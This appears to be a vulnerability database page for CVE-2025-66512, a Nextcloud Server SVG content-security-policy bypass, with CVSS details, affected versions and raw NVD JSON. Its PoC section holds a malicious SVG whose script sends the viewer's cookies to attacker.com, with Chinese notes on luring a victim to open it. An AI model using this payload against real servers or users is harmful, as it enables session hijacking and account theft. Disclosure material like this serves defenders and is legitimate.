Security Vulnerability Report
中文
CVE-2025-66512 CVSS 5.4 MEDIUM

CVE-2025-66512

Published: 2025-12-05 17:16:05
Last Modified: 2025-12-09 16:38:19

Description

Nextcloud Server is a self hosted personal cloud system. In Nextcloud Server and Server Enterprise prior to 31.0.12 and 32.0.3, a missing sanitization allowed malicious users to circumvent the content security policy when a malicious user manages to trick a user it viewing an uploaded SVG outside of the Nextcloud Servers web page.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:nextcloud:nextcloud_server:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:nextcloud:nextcloud_server:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:nextcloud:nextcloud_server:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:nextcloud:nextcloud_server:*:*:*:*:enterprise:*:*:* - VULNERABLE
Nextcloud Server < 31.0.12
Nextcloud Server Enterprise < 31.0.12
Nextcloud Server < 32.0.3
Nextcloud Server Enterprise < 32.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- 恶意SVG文件 PoC - 存储型XSS payload --> <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"> <script type="text/javascript"> // 绕过CSP的恶意脚本 document.location='https://attacker.com/steal?cookie='+encodeURIComponent(document.cookie); </script> </svg> <!-- 利用方式说明: 1. 攻击者将此SVG文件上传到Nextcloud服务器 2. 攻击者获取SVG文件的直链 3. 攻击者诱骗目标用户点击链接,在Nextcloud网页环境外打开SVG 4. 当SVG被加载时,JavaScript代码执行,窃取用户cookie等信息 -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66512", "sourceIdentifier": "[email protected]", "published": "2025-12-05T17:16:04.980", "lastModified": "2025-12-09T16:38:19.160", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nextcloud Server is a self hosted personal cloud system. In Nextcloud Server and Server Enterprise prior to 31.0.12 and 32.0.3, a missing sanitization allowed malicious users to circumvent the content security policy when a malicious user manages to trick a user it viewing an uploaded SVG outside of the Nextcloud Servers web page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-80"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nextcloud:nextcloud_server:*:*:*:*:-:*:*:*", "versionStartIncluding": "31.0.0", "versionEndExcluding": "31.0.12", "matchCriteriaId": "A6FF62FC-BAAC-42FE-80AA-1ECF1752D9D4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nextcloud:nextcloud_server:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "31.0.0", "versionEndExcluding": "31.0.12", "matchCriteriaId": "EE1373FF-E182-4502-AFA0-CB4191CBC1A3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nextcloud:nextcloud_server:*:*:*:*:-:*:*:*", "versionStartIncluding": "32.0.0", "versionEndExcluding": "32.0.3", "matchCriteriaId": "B6B91E03-3683-47A0-8D5D-8F463D1957F2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nextcloud:nextcloud_server:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "32.0.0", "versionEndExcluding": "32.0.3", "matchCriteriaId": "88F735F3-E164-4261-A5D8-8F32DB2AA218"}]}]}], "references": [{"url": "https://github.com/nextcloud/security-advisories/security/advisories/GHSA-qcw2-p26m-9gc5", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://github.com/nextcloud/viewer/commit/5044a27d61bc40c0f134298d36af91f865335b63", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nextcloud/viewer/pull/3023", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://hackerone.com/reports/3357808", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}